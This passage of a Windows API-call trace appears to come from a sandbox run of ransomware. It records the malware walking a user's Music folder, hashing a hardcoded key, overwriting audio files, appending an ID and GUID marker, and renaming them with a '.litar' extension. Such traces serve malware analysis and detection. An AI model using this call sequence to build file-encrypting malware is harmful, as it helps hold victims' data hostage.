hHeap=0x5c0000) returned 1 [0126.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.066] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.066] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.066] PathFindFileNameW (pszPath="") returned="" [0126.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.066] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.067] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.067] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec26bff0, ftCreationTime.dwHighDateTime=0x1d4cf9b, ftLastAccessTime.dwLowDateTime=0x40e0d580, ftLastAccessTime.dwHighDateTime=0x1d4d555, ftLastWriteTime.dwLowDateTime=0x40e0d580, ftLastWriteTime.dwHighDateTime=0x1d4d555, nFileSizeHigh=0x0, nFileSizeLow=0x20a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-Bnbr4EKB.m4a", cAlternateFileName="-BNBR4~1.M4A")) returned 1 [0126.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.067] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\-Bnbr4EKB.m4a") returned=".m4a" [0126.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\-Bnbr4EKB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\-bnbr4ekb.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.067] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=8357) returned 1 [0126.067] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.069] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x207f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.069] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.071] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.071] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x20a5, lpOverlapped=0x0) returned 1 [0126.071] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.072] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.072] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.072] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.072] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.072] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.072] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.072] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.073] GetLastError () returned 0x0 [0126.073] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.073] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20b0) returned 0x30fa0b0 [0126.073] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.073] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x20a0, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x20a0, lpOverlapped=0x0) returned 1 [0126.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.073] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x20a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.073] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.073] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.073] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.073] CloseHandle (hObject=0x624) returned 1 [0126.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0126.074] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\-Bnbr4EKB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\-bnbr4ekb.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\-Bnbr4EKB.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\-bnbr4ekb.m4a.litar")) returned 1 [0126.075] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.075] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.076] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.076] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0d94880, ftCreationTime.dwHighDateTime=0x1d4d22d, ftLastAccessTime.dwLowDateTime=0xdce3ecd0, ftLastAccessTime.dwHighDateTime=0x1d4d021, ftLastWriteTime.dwLowDateTime=0xdce3ecd0, ftLastWriteTime.dwHighDateTime=0x1d4d021, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3JFk", cAlternateFileName="")) returned 1 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.076] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16c) returned 0x308d780 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084198 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a05a8 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.076] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084120 [0126.076] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30845d0 | out: hHeap=0x5c0000) returned 1 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30844e0 | out: hHeap=0x5c0000) returned 1 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0740 | out: hHeap=0x5c0000) returned 1 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0630 | out: hHeap=0x5c0000) returned 1 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840a8 | out: hHeap=0x5c0000) returned 1 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0126.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.077] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61533170, ftCreationTime.dwHighDateTime=0x1d4cc02, ftLastAccessTime.dwLowDateTime=0xedc6b50, ftLastAccessTime.dwHighDateTime=0x1d4cccf, ftLastWriteTime.dwLowDateTime=0xedc6b50, ftLastWriteTime.dwHighDateTime=0x1d4cccf, nFileSizeHigh=0x0, nFileSizeLow=0x1051a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD0VSBvifKy.wav", cAlternateFileName="DD0VSB~1.WAV")) returned 1 [0126.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.077] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.077] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.077] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\DD0VSBvifKy.wav") returned=".wav" [0126.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\DD0VSBvifKy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\dd0vsbvifky.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.077] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=66842) returned 1 [0126.077] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.079] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x104f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.079] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.081] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.081] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.081] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.081] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1051a, lpOverlapped=0x0) returned 1 [0126.082] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.082] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.082] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.082] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.083] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.083] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.083] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.083] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.083] GetLastError () returned 0x0 [0126.083] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.083] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10520) returned 0x30fa0b0 [0126.083] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.084] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x10515, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x10515, lpOverlapped=0x0) returned 1 [0126.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.084] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1051a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.084] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.084] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.084] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.084] CloseHandle (hObject=0x624) returned 1 [0126.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0126.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0126.085] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\DD0VSBvifKy.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\dd0vsbvifky.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\DD0VSBvifKy.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\dd0vsbvifky.wav.litar")) returned 1 [0126.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.086] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.087] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffbba590, ftCreationTime.dwHighDateTime=0x1d4d3eb, ftLastAccessTime.dwLowDateTime=0xa4144900, ftLastAccessTime.dwHighDateTime=0x1d4cfda, ftLastWriteTime.dwLowDateTime=0xa4144900, ftLastWriteTime.dwHighDateTime=0x1d4cfda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FxgxMEyG6Z", cAlternateFileName="FXGXME~1")) returned 1 [0126.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0630 [0126.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0740 [0126.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0630 | out: hHeap=0x5c0000) returned 1 [0126.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.087] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeada1f0, ftCreationTime.dwHighDateTime=0x1d4cbb6, ftLastAccessTime.dwLowDateTime=0x7eb775a0, ftLastAccessTime.dwHighDateTime=0x1d4cdc9, ftLastWriteTime.dwLowDateTime=0x7eb775a0, ftLastWriteTime.dwHighDateTime=0x1d4cdc9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gq6jQz3", cAlternateFileName="")) returned 1 [0126.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0630 [0126.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0630 | out: hHeap=0x5c0000) returned 1 [0126.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.087] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x519062e0, ftCreationTime.dwHighDateTime=0x1d4c9a9, ftLastAccessTime.dwLowDateTime=0xbfb4c100, ftLastAccessTime.dwHighDateTime=0x1d4d56e, ftLastWriteTime.dwLowDateTime=0xbfb4c100, ftLastWriteTime.dwHighDateTime=0x1d4d56e, nFileSizeHigh=0x0, nFileSizeLow=0x1589c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mt-NxS9.m4a", cAlternateFileName="")) returned 1 [0126.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084468 | out: hHeap=0x5c0000) returned 1 [0126.087] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\mt-NxS9.m4a") returned=".m4a" [0126.088] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\mt-NxS9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\mt-nxs9.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.088] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=88220) returned 1 [0126.088] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.090] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15876, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.090] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.092] SetFilePointer (in: hFile=0x624, 